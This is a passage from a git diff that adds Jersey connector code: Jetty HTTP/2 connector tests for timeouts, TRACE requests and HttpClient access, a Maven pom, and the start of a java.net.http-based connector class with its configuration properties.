+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.ClientProperties;
+import org.glassfish.jersey.jetty.connector.JettyClientProperties;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.DefaultValue;
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.QueryParam;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+import jakarta.ws.rs.core.StreamingOutput;
+import java.net.URI;
+import java.nio.charset.StandardCharsets;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+import java.util.logging.Logger;
+
+import static org.hamcrest.CoreMatchers.instanceOf;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+import static org.junit.jupiter.api.Assertions.fail;
+
+public class TimeoutTest extends JerseyTest {
+    private static final Logger LOGGER = Logger.getLogger(TimeoutTest.class.getName());
+
+    @Path("/test")
+    public static class TimeoutResource {
+        @GET
+        public String get() {
+            return "GET";
+        }
+
+        @GET
+        @Path("timeout")
+        public String getTimeout() {
+            try {
+                Thread.sleep(2000);
+            } catch (InterruptedException e) {
+                e.printStackTrace();
+            }
+            return "GET";
+        }
+
+        /**
+         * Long-running streaming request
+         *
+         * @param count number of packets send
+         * @param pauseMillis pause between each packets
+         */
+        @GET
+        @Path("stream")
+        public Response streamsWithDelay(@QueryParam("start") @DefaultValue("0") int startMillis, @QueryParam("count") int count,
+                                         @QueryParam("pauseMillis") int pauseMillis) {
+            StreamingOutput streamingOutput = streamSlowly(startMillis, count, pauseMillis);
+
+            return Response.ok(streamingOutput)
+                    .build();
+        }
+    }
+
+    private static StreamingOutput streamSlowly(int startMillis, int count, int pauseMillis) {
+
+        return output -> {
+            try {
+                TimeUnit.MILLISECONDS.sleep(startMillis);
+            }
+            catch (InterruptedException e) {
+                Thread.currentThread().interrupt();
+            }
+            output.write("begin\n".getBytes(StandardCharsets.UTF_8));
+            output.flush();
+            for (int i = 0; i < count; i++) {
+                try {
+                    TimeUnit.MILLISECONDS.sleep(pauseMillis);
+                }
+                catch (InterruptedException e) {
+                    Thread.currentThread().interrupt();
+                }
+
+                output.write(("message " + i + "\n").getBytes(StandardCharsets.UTF_8));
+                output.flush();
+            }
+            output.write("end".getBytes(StandardCharsets.UTF_8));
+        };
+    }
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(TimeoutResource.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+    }
+
+    @Test
+    public void testFast() {
+        Response r = target("test").request().get();
+        assertEquals(200, r.getStatus());
+        assertEquals("GET", r.readEntity(String.class));
+    }
+
+    @Test
+    public void testSlow() {
+        final URI u = target().getUri();
+        ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000);
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+        Client c = ClientBuilder.newClient(config);
+        WebTarget t = c.target(u);
+        try {
+            t.path("test/timeout").request().get();
+            fail("Timeout expected.");
+        } catch (ProcessingException e) {
+            assertThat("Unexpected processing exception cause",
+                    e.getCause(), instanceOf(TimeoutException.class));
+        } finally {
+            c.close();
+        }
+    }
+
+    @Test
+    public void testTimeoutInRequest() {
+        final URI u = target().getUri();
+        ClientConfig config = new ClientConfig();
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+        Client c = ClientBuilder.newClient(config);
+        WebTarget t = c.target(u);
+        try {
+            t.path("test/timeout").request().property(ClientProperties.READ_TIMEOUT, 1_000).get();
+            fail("Timeout expected.");
+        } catch (ProcessingException e) {
+            assertThat("Unexpected processing exception cause",
+                    e.getCause(), instanceOf(TimeoutException.class));
+        } finally {
+            c.close();
+        }
+    }
+
+    /**
+     * Test accessing an operation that is streaming slowly
+     *
+     * @throws ProcessingException in case of a test error.
+     */
+    @Test
+    public void testSlowlyStreamedContentDoesNotReadTimeout() throws Exception {
+
+        int count = 5;
+        int pauseMillis = 50;
+
+        final Response response = target("test")
+                .property(ClientProperties.READ_TIMEOUT, 100L)
+                .property(CommonProperties.OUTBOUND_CONTENT_LENGTH_BUFFER_SERVER, "-1")
+                .path("stream")
+                .queryParam("count", count)
+                .queryParam("pauseMillis", pauseMillis)
+                .request().get();
+
+        assertTrue(response.readEntity(String.class).contains("end"));
+    }
+
+    @Test
+    public void testSlowlyStreamedContentDoesTotalTimeout() throws Exception {
+
+        int count = 5;
+        int pauseMillis = 50;
+
+        try {
+            target("test")
+                    .property(JettyClientProperties.TOTAL_TIMEOUT, 100L)
+                    .property(CommonProperties.OUTBOUND_CONTENT_LENGTH_BUFFER_SERVER, "-1")
+                    .path("stream")
+                    .queryParam("count", count)
+                    .queryParam("pauseMillis", pauseMillis)
+                    .request().get();
+
+            fail("This operation should trigger total timeout");
+        } catch (ProcessingException e) {
+            assertEquals(TimeoutException.class, e.getCause().getClass());
+        }
+    }
+
+    /**
+     * Test accessing an operation that is streaming slowly
+     *
+     * @throws ProcessingException in case of a test error.
+     */
+    @Test
+    public void testSlowToStartStreamedContentDoesReadTimeout() throws Exception {
+
+        int start = 150;
+        int count = 5;
+        int pauseMillis = 50;
+
+        try {
+            target("test")
+                    .property(ClientProperties.READ_TIMEOUT, 100L)
+                    .property(CommonProperties.OUTBOUND_CONTENT_LENGTH_BUFFER_SERVER, "-1")
+                    .path("stream")
+                    .queryParam("start", start)
+                    .queryParam("count", count)
+                    .queryParam("pauseMillis", pauseMillis)
+                    .request().get();
+            fail("This operation should trigger idle timeout");
+        } catch (ProcessingException e) {
+            assertEquals(TimeoutException.class, e.getCause().getClass());
+        }
+    }
+}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/TraceSupportTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/TraceSupportTest.java
new file mode 100644
index 0000000..4bf0bda
--- /dev/null
+++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/TraceSupportTest.java
@@ -0,0 +1,228 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.process.Inflector;
+import org.glassfish.jersey.server.ContainerRequest;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.server.model.Resource;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.HttpMethod;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.Produces;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.container.ContainerRequestContext;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Request;
+import jakarta.ws.rs.core.Response;
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+import java.util.List;
+import java.util.Map;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+import static org.junit.jupiter.api.Assertions.fail;
+
+public class TraceSupportTest extends JerseyTest {
+
+    private static final Logger LOGGER = Logger.getLogger(TraceSupportTest.class.getName());
+
+    /**
+     * Programmatic tracing root resource path.
+     */
+    public static final String ROOT_PATH_PROGRAMMATIC = "tracing/programmatic";
+
+    /**
+     * Annotated class-based tracing root resource path.
+     */
+    public static final String ROOT_PATH_ANNOTATED = "tracing/annotated";
+
+    @HttpMethod(TRACE.NAME)
+    @Target(ElementType.METHOD)
+    @Retention(RetentionPolicy.RUNTIME)
+    public @interface TRACE {
+        public static final String NAME = "TRACE";
+    }
+
+    @Path(ROOT_PATH_ANNOTATED)
+    public static class TracingResource {
+
+        @TRACE
+        @Produces("text/plain")
+        public String trace(Request request) {
+            return stringify((ContainerRequest) request);
+        }
+    }
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(TracingResource.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        final Resource.Builder resourceBuilder = Resource.builder(ROOT_PATH_PROGRAMMATIC);
+        resourceBuilder.addMethod(TRACE.NAME).handledBy(new Inflector<ContainerRequestContext, Response>() {
+
+            @Override
+            public Response apply(ContainerRequestContext request) {
+                if (request == null) {
+                    return Response.noContent().build();
+                } else {
+                    return Response.ok(stringify((ContainerRequest) request), MediaType.TEXT_PLAIN).build();
+                }
+            }
+        });
+
+        return config.registerResources(resourceBuilder.build());
+
+    }
+
+    private String[] expectedFragmentsProgrammatic = new String[]{
+            "TRACE http://localhost:" + this.getPort() + "/tracing/programmatic"
+    };
+    private String[] expectedFragmentsAnnotated = new String[]{
+            "TRACE http://localhost:" + this.getPort() + "/tracing/annotated"
+    };
+
+    private WebTarget prepareTarget(String path) {
+        final WebTarget target = target();
+        target.register(LoggingFeature.class);
+        return target.path(path);
+    }
+
+    @Test
+    public void testProgrammaticApp() throws Exception {
+        Response response = prepareTarget(ROOT_PATH_PROGRAMMATIC).request("text/plain").method(TRACE.NAME);
+
+        assertEquals(Response.Status.OK.getStatusCode(), response.getStatusInfo().getStatusCode());
+
+        String responseEntity = response.readEntity(String.class);
+        for (String expectedFragment : expectedFragmentsProgrammatic) {
+            assertTrue(// toLowerCase - http header field names are case insensitive
+                    responseEntity.contains(expectedFragment),
+                    "Expected fragment '" + expectedFragment + "' not found in response:\n" + responseEntity);
+        }
+    }
+
+    @Test
+    public void testAnnotatedApp() throws Exception {
+        Response response = prepareTarget(ROOT_PATH_ANNOTATED).request("text/plain").method(TRACE.NAME);
+
+        assertEquals(Response.Status.OK.getStatusCode(), response.getStatusInfo().getStatusCode());
+
+        String responseEntity = response.readEntity(String.class);
+        for (String expectedFragment : expectedFragmentsAnnotated) {
+            assertTrue(// toLowerCase - http header field names are case insensitive
+                    responseEntity.contains(expectedFragment),
+                    "Expected fragment '" + expectedFragment + "' not found in response:\n" + responseEntity);
+        }
+    }
+
+    @Test
+    public void testTraceWithEntity() throws Exception {
+        _testTraceWithEntity(false, false);
+    }
+
+    @Test
+    public void testAsyncTraceWithEntity() throws Exception {
+        _testTraceWithEntity(true, false);
+    }
+
+    @Test
+    public void testTraceWithEntityJettyConnector() throws Exception {
+        _testTraceWithEntity(false, true);
+    }
+
+    @Test
+    public void testAsyncTraceWithEntityJettyConnector() throws Exception {
+        _testTraceWithEntity(true, true);
+    }
+
+    private void _testTraceWithEntity(final boolean isAsync, final boolean useJettyConnection) throws Exception {
+        try {
+            WebTarget target = useJettyConnection ? getJettyClient().target(target().getUri()) : target();
+            target = target.path(ROOT_PATH_ANNOTATED);
+
+            final Entity<String> entity = Entity.entity("trace", MediaType.WILDCARD_TYPE);
+
+            Response response;
+            if (!isAsync) {
+                response = target.request().method(TRACE.NAME, entity);
+            } else {
+                response = target.request().async().method(TRACE.NAME, entity).get();
+            }
+
+            fail("A TRACE request MUST NOT include an entity. (response=" + response + ")");
+        } catch (Exception e) {
+            // OK
+        }
+    }
+
+    private Client getJettyClient() {
+        return ClientBuilder.newClient(new ClientConfig().connectorProvider(new JettyHttp2ConnectorProvider()));
+    }
+
+
+    public static String stringify(ContainerRequest request) {
+        StringBuilder buffer = new StringBuilder();
+
+        printRequestLine(buffer, request);
+        printPrefixedHeaders(buffer, request.getHeaders());
+
+        if (request.hasEntity()) {
+            buffer.append(request.readEntity(String.class)).append("\n");
+        }
+
+        return buffer.toString();
+    }
+
+    private static void printRequestLine(StringBuilder buffer, ContainerRequest request) {
+        buffer.append(request.getMethod()).append(" ").append(request.getUriInfo().getRequestUri().toASCIIString()).append("\n");
+    }
+
+    private static void printPrefixedHeaders(StringBuilder buffer, Map<String, List<String>> headers) {
+        for (Map.Entry<String, List<String>> e : headers.entrySet()) {
+            List<String> val = e.getValue();
+            String header = e.getKey();
+
+            if (val.size() == 1) {
+                buffer.append(header).append(": ").append(val.get(0)).append("\n");
+            } else {
+                StringBuilder sb = new StringBuilder();
+                boolean add = false;
+                for (String s : val) {
+                    if (add) {
+                        sb.append(',');
+                    }
+                    add = true;
+                    sb.append(s);
+                }
+                buffer.append(header).append(": ").append(sb.toString()).append("\n");
+            }
+        }
+    }
+}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/UnderlyingHttpClientAccessTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/UnderlyingHttpClientAccessTest.java
new file mode 100644
index 0000000..29efcba
--- /dev/null
+++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/UnderlyingHttpClientAccessTest.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.eclipse.jetty.client.HttpClient;
+import org.glassfish.jersey.client.ClientConfig;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.WebTarget;
+
+import static org.hamcrest.CoreMatchers.is;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertNotNull;
+import static org.junit.jupiter.api.Assertions.assertSame;
+
+public class UnderlyingHttpClientAccessTest {
+
+    /**
+     * Verifier of JERSEY-2424 fix.
+     */
+    @Test
+    public void testHttpClientInstanceAccess() {
+        final Client client = ClientBuilder.newClient(new ClientConfig().connectorProvider(new JettyHttp2ConnectorProvider()));
+        final HttpClient hcOnClient = JettyHttp2ConnectorProvider.getHttpClient(client);
+        // important: the web target instance in this test must be only created AFTER the client has been pre-initialized
+        // (see org.glassfish.jersey.client.Initializable.preInitialize method). This is here achieved by calling the
+        // connector provider's static getHttpClient method above.
+        final WebTarget target = client.target("http://localhost/");
+        final HttpClient hcOnTarget = JettyHttp2ConnectorProvider.getHttpClient(target);
+
+        assertNotNull(hcOnClient, "HTTP client instance set on JerseyClient should not be null.");
+        assertNotNull(hcOnTarget, "HTTP client instance set on JerseyWebTarget should not be null.");
+        assertSame(hcOnClient, hcOnTarget, "HTTP client instance set on JerseyClient should be the same instance as the one "
+                + "set on JerseyWebTarget (provided the target instance has not been further configured).");
+    }
+
+    @Test
+    public void testGetProvidedClientInstance() {
+        final HttpClient httpClient = new HttpClient();
+        final ClientConfig clientConfig = new ClientConfig()
+                .connectorProvider(new JettyHttp2ConnectorProvider())
+                .register(new JettyHttp2ClientSupplier(httpClient));
+        final Client client = ClientBuilder.newClient(clientConfig);
+        final WebTarget target = client.target("http://localhost/");
+        final HttpClient hcOnTarget = JettyHttp2ConnectorProvider.getHttpClient(target);
+
+        assertThat("Instance provided to a ClientConfig differs from instance provided by JettyProvider",
+                httpClient, is(hcOnTarget));
+    }
+}
\ No newline at end of file
diff --git a/connectors/jnh-connector/pom.xml b/connectors/jnh-connector/pom.xml
new file mode 100644
index 0000000..e70278f
--- /dev/null
+++ b/connectors/jnh-connector/pom.xml
@@ -0,0 +1,106 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+
+    Copyright (c) 2021, 2025 Oracle and/or its affiliates. All rights reserved.
+
+    This program and the accompanying materials are made available under the
+    terms of the Eclipse Public License v. 2.0, which is available at
+    http://www.eclipse.org/legal/epl-2.0.
+
+    This Source Code may also be made available under the following Secondary
+    Licenses when the conditions for such availability set forth in the
+    Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+    version 2 with the GNU Classpath Exception, which is available at
+    https://www.gnu.org/software/classpath/license.html.
+
+    SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+
+-->
+
+<project xmlns="http://maven.apache.org/POM/4.0.0"
+         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
+    <parent>
+        <artifactId>project</artifactId>
+        <groupId>org.glassfish.jersey.connectors</groupId>
+        <version>3.1.99-SNAPSHOT</version>
+    </parent>
+    <modelVersion>4.0.0</modelVersion>
+
+    <artifactId>jersey-jnh-connector</artifactId>
+    <packaging>jar</packaging>
+    <name>jersey-connectors-jnh</name>
+
+    <description>Jersey Client Transport via java.net.http.HttpClient introduced in Java 11</description>
+
+    <properties>
+        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
+    </properties>
+
+    <dependencies>
+        <dependency>
+            <groupId>org.glassfish.jersey.test-framework.providers</groupId>
+            <artifactId>jersey-test-framework-provider-bundle</artifactId>
+            <version>${project.version}</version>
+            <type>pom</type>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.assertj</groupId>
+            <artifactId>assertj-core</artifactId>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.awaitility</groupId>
+            <artifactId>awaitility</artifactId>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.media</groupId>
+            <artifactId>jersey-media-jaxb</artifactId>
+            <version>${project.version}</version>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.media</groupId>
+            <artifactId>jersey-media-json-jackson</artifactId>
+            <version>${project.version}</version>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>jakarta.xml.bind</groupId>
+            <artifactId>jakarta.xml.bind-api</artifactId>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>com.sun.xml.bind</groupId>
+            <artifactId>jaxb-osgi</artifactId>
+            <scope>test</scope>
+        </dependency>
+    </dependencies>
+
+    <build>
+        <plugins>
+            <plugin>
+                <groupId>com.sun.istack</groupId>
+                <artifactId>istack-commons-maven-plugin</artifactId>
+                <inherited>true</inherited>
+            </plugin>
+            <plugin>
+                <groupId>org.codehaus.mojo</groupId>
+                <artifactId>build-helper-maven-plugin</artifactId>
+                <inherited>true</inherited>
+            </plugin>
+            <plugin>
+                <groupId>org.apache.maven.plugins</groupId>
+                <artifactId>maven-compiler-plugin</artifactId>
+            </plugin>
+            <plugin>
+                <groupId>org.apache.felix</groupId>
+                <artifactId>maven-bundle-plugin</artifactId>
+                <inherited>true</inherited>
+            </plugin>
+        </plugins>
+    </build>
+
+</project>
\ No newline at end of file
diff --git a/connectors/jnh-connector/src/main/java/org/glassfish/jersey/jnh/connector/JavaNetHttpClientProperties.java b/connectors/jnh-connector/src/main/java/org/glassfish/jersey/jnh/connector/JavaNetHttpClientProperties.java
new file mode 100644
index 0000000..a9c0248
--- /dev/null
+++ b/connectors/jnh-connector/src/main/java/org/glassfish/jersey/jnh/connector/JavaNetHttpClientProperties.java
@@ -0,0 +1,103 @@
+/*
+ * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jnh.connector;
+
+import org.glassfish.jersey.internal.util.PropertiesClass;
+
+import java.net.http.HttpClient;
+
+/**
+ * Provides configuration properties for a {@link JavaNetHttpConnector}.
+ *
+ * @author Steffen Nießing
+ */
+@PropertiesClass
+public class JavaNetHttpClientProperties {
+    /**
+     * <p>
+     *     Configuration of the {@link java.net.CookieHandler} that should be used by the {@link HttpClient}.
+     *     If this option is not set, {@link HttpClient#cookieHandler()} will return an empty {@link java.util.Optional}
+     *     and therefore no cookie handler will be used.
+     * </p>
+     * <p>
+     *     A provided value to this option has to be of type {@link java.net.CookieHandler}.
+     * </p>
+     * <p>
+     *     The name of the configuration property is <tt>{@value}</tt>.
+     * </p>
+     */
+    public static final String COOKIE_HANDLER = "jersey.config.jnh.client.cookieHandler";
+
+    /**
+     * <p>
+     *     Configuration of SSL parameters used by the {@link HttpClient}.
+     *     If this option is not set, then the {@link HttpClient} will use <it>implementation specific</it> default values.
+     * </p>
+     * <p>
+     *     A provided value to this option has to be of type {@link javax.net.ssl.SSLParameters}.
+     * </p>
+     * <p>
+     *     The name of the configuration property is <tt>{@value}</tt>.
+     * </p>
+     */
+    public static final String SSL_PARAMETERS = "jersey.config.jnh.client.sslParameters";
+
+    /**
+     * <p>
+     *     An instance of the {@link java.net.Authenticator} class that should be used to retrieve
+     *     credentials from a user.
+     * </p>
+     * <p>
+     *     The name of the configuration property is <tt>{@value}</tt>.
+     * </p>
+     */
+    public static final String PREEMPTIVE_BASIC_AUTHENTICATION =
+            "jersey.config.jnh.client.preemptiveBasicAuthentication";
+
+    /**
+     * <p>
+     *     A value of {@code false} indicates the client should handle cookies
+     *     automatically using HttpClient's default cookie policy. A value
+     *     of {@code false} will cause the client to ignore all cookies.
+     * </p>
+     * <p>
+     *     The value MUST be an instance of {@link java.lang.Boolean}.
+     *     If the property is absent the default value is {@code false}
+     * </p>
+     * <p>
+     *     The name of the configuration property is <tt>{@value}</tt>.
+     * </p>
+     */
+    public static final String DISABLE_COOKIES =
+            "jersey.config.jnh.client.disableCookies";
+
+    /**
+     * HTTP version - if null or instance of HttpClient.Version.HTTP_1_1 the version will be set to HTTP_1_1
+     * if version is HttpClient.Version.HTTP_2 the client will attempt to perform each request using HTTP_2 protocol
+     * but if not supported by server, the protocol will be still HTTP_1_1
+     *
+     * @since 3.1.4
+     */
+    public static final String HTTP_VERSION =
+            "jersey.config.jnh.client.httpVersion";
+
+
+    /**
+     * Prevent this class from instantiation.
+     */
+    private JavaNetHttpClientProperties() {}
+}
diff --git a/connectors/jnh-connector/src/main/java/org/glassfish/jersey/jnh/connector/JavaNetHttpConnector.java b/connectors/jnh-connector/src/main/java/org/glassfish/jersey/jnh/connector/JavaNetHttpConnector.java
new file mode 100644
index 0000000..1b19617
--- /dev/null
+++ b/connectors/jnh-connector/src/main/java/org/glassfish/jersey/jnh/connector/JavaNetHttpConnector.java
@@ -0,0 +1,439 @@
+/*
+ * Copyright (c) 2021, 2025 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jnh.connector;
+
+import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.core.Configuration;
+import jakarta.ws.rs.core.MultivaluedMap;
+import org.glassfish.jersey.client.ClientProperties;
+import org.glassfish.jersey.client.ClientRequest;
+import org.glassfish.jersey.client.ClientResponse;
+import org.glassfish.jersey.client.innate.ClientProxy;
+import org.glassfish.jersey.client.innate.Expect100ContinueUsage;
+import org.glassfish.jersey.client.innate.http.SSLParamConfigurator;
+import org.glassfish.jersey.client.spi.AsyncConnectorCallback;
+import org.glassfish.jersey.client.spi.Connector;
+import org.glassfish.jersey.internal.Version;
+import org.glassfish.jersey.message.internal.OutboundMessageContext;
+import org.glassfish.jersey.message.internal.Statuses;
+
+import javax.net.ssl.SSLContext;
+import javax.net.ssl.SSLParameters;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.net.Authenticator;
+import java.net.CookieHandler;
+import java.net.CookieManager;
+import java.net.CookiePolicy;
+import java.net.InetSocketAddress;
+import java.net.PasswordAuthentication;
+import java.net.ProxySelector;
+import java.net.URI;
+import java.net.http.HttpClient;
+import java.net.http.HttpRequest;
+import java.net.http.HttpResponse;
+import java.time.Duration;
+import java.util.List;
+import java.util.Map;
+import java.util.Optional;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.Future;
+import java.util.concurrent.locks.Lock;
+import java.util.concurrent.locks.ReentrantLock;
+import java.util.logging.Logger;
+
+/**
+ * Provides a Jersey client {@link Connector}, which internally uses Java's {@link HttpClient}.
+ * The following properties are provided to Java's {@link HttpClient.Builder} during creation of the {@link HttpClient}:
+ * <ul>
+ *     <li>{@link ClientProperties#CONNECT_TIMEOUT}</li>
+ *     <li>{@link ClientProperties#FOLLOW_REDIRECTS}</li>
+ *     <li>{@link JavaNetHttpClientProperties#COOKIE_HANDLER}</li>
+ *     <li>{@link JavaNetHttpClientProperties#SSL_PARAMETERS}</li>
+ * </ul>
+ *
+ * @author Steffen Nießing
+ */
+public class JavaNetHttpConnector implements Connector {
+    private static final Logger LOGGER = Logger.getLogger(JavaNetHttpConnector.class.getName());
+
+    private final HttpClient httpClient;
+
+    /**
+     * Constructs a new {@link Connector} for a Jersey client instance using Java's {@link HttpClient}.
+     *
+     * @param client a Jersey client instance to get additional configuration properties from (e.g. {@link SSLContext})
+     * @param configuration the configuration properties for this connector
+     */
+    public JavaNetHttpConnector(final Client client, final Configuration configuration) {
+        final HttpClient.Builder httpClientBuilder = HttpClient.newBuilder();
+        final HttpClient.Version version =
+                getPropertyOrNull(configuration, JavaNetHttpClientProperties.HTTP_VERSION, HttpClient.Version.class);
+        httpClientBuilder.version(version == null ? HttpClient.Version.HTTP_1_1 : version);
+        SSLContext sslContext = client.getSslContext();
+        if (sslContext != null) {
+            httpClientBuilder.sslContext(sslContext);
+        }
+        final CookieHandler cookieHandler =
+                getPropertyOrNull(configuration, JavaNetHttpClientProperties.COOKIE_HANDLER, CookieHandler.class);
+        if (cookieHandler != null) {
+            httpClientBuilder.cookieHandler(cookieHandler);
+        }
+        final Boolean disableCookies =
+                getPropertyOrNull(configuration, JavaNetHttpClientProperties.DISABLE_COOKIES, Boolean.class);
+        if (Boolean.TRUE.equals(disableCookies)) {
+            httpClientBuilder.cookieHandler(new CookieManager(null, CookiePolicy.ACCEPT_NONE));
+        }
+        Boolean redirect = getPropertyOrNull(configuration, ClientProperties.FOLLOW_REDIRECTS, Boolean.class);
+        if (redirect != null) {
+            httpClientBuilder.followRedirects(redirect ? HttpClient.Redirect.ALWAYS : HttpClient.Redirect.NEVER);
+        } else {
+            httpClientBuilder.followRedirects(HttpClient.Redirect.NORMAL);
+        }
+
+        SSLParameters sslParameters =
+                getPropertyOrNull(configuration, JavaNetHttpClientProperties.SSL_PARAMETERS, SSLParameters.class);
+        sslParameters = new SniSslParameters(sslParameters).getSslParameters(client);
+        if (sslParameters != null) {
+            httpClientBuilder.sslParameters(sslParameters);
+        }
+
+        final Authenticator preemptiveAuthenticator =
+                getPropertyOrNull(configuration,
+                        JavaNetHttpClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION, Authenticator.class);
+        if (preemptiveAuthenticator != null) {
+            httpClientBuilder.authenticator(preemptiveAuthenticator);
+        }
+        configureProxy(httpClientBuilder, configuration);
+        this.httpClient = httpClientBuilder.build();
+    }
+
+    private static void configureProxy(HttpClient.Builder builder, final Configuration config) {
+
+        final Optional<ClientProxy> proxy = ClientProxy.proxyFromConfiguration(config);
+        proxy.ifPresent(clientProxy -> {
+            final URI u = clientProxy.uri();
+            final InetSocketAddress proxyAddress = new InetSocketAddress(u.getHost(),
+                    u.getPort());
+            if (clientProxy.userName() != null) {
+                final Authenticator authenticator = new Authenticator() {
+                    @Override
+                    public PasswordAuthentication getPasswordAuthentication() {
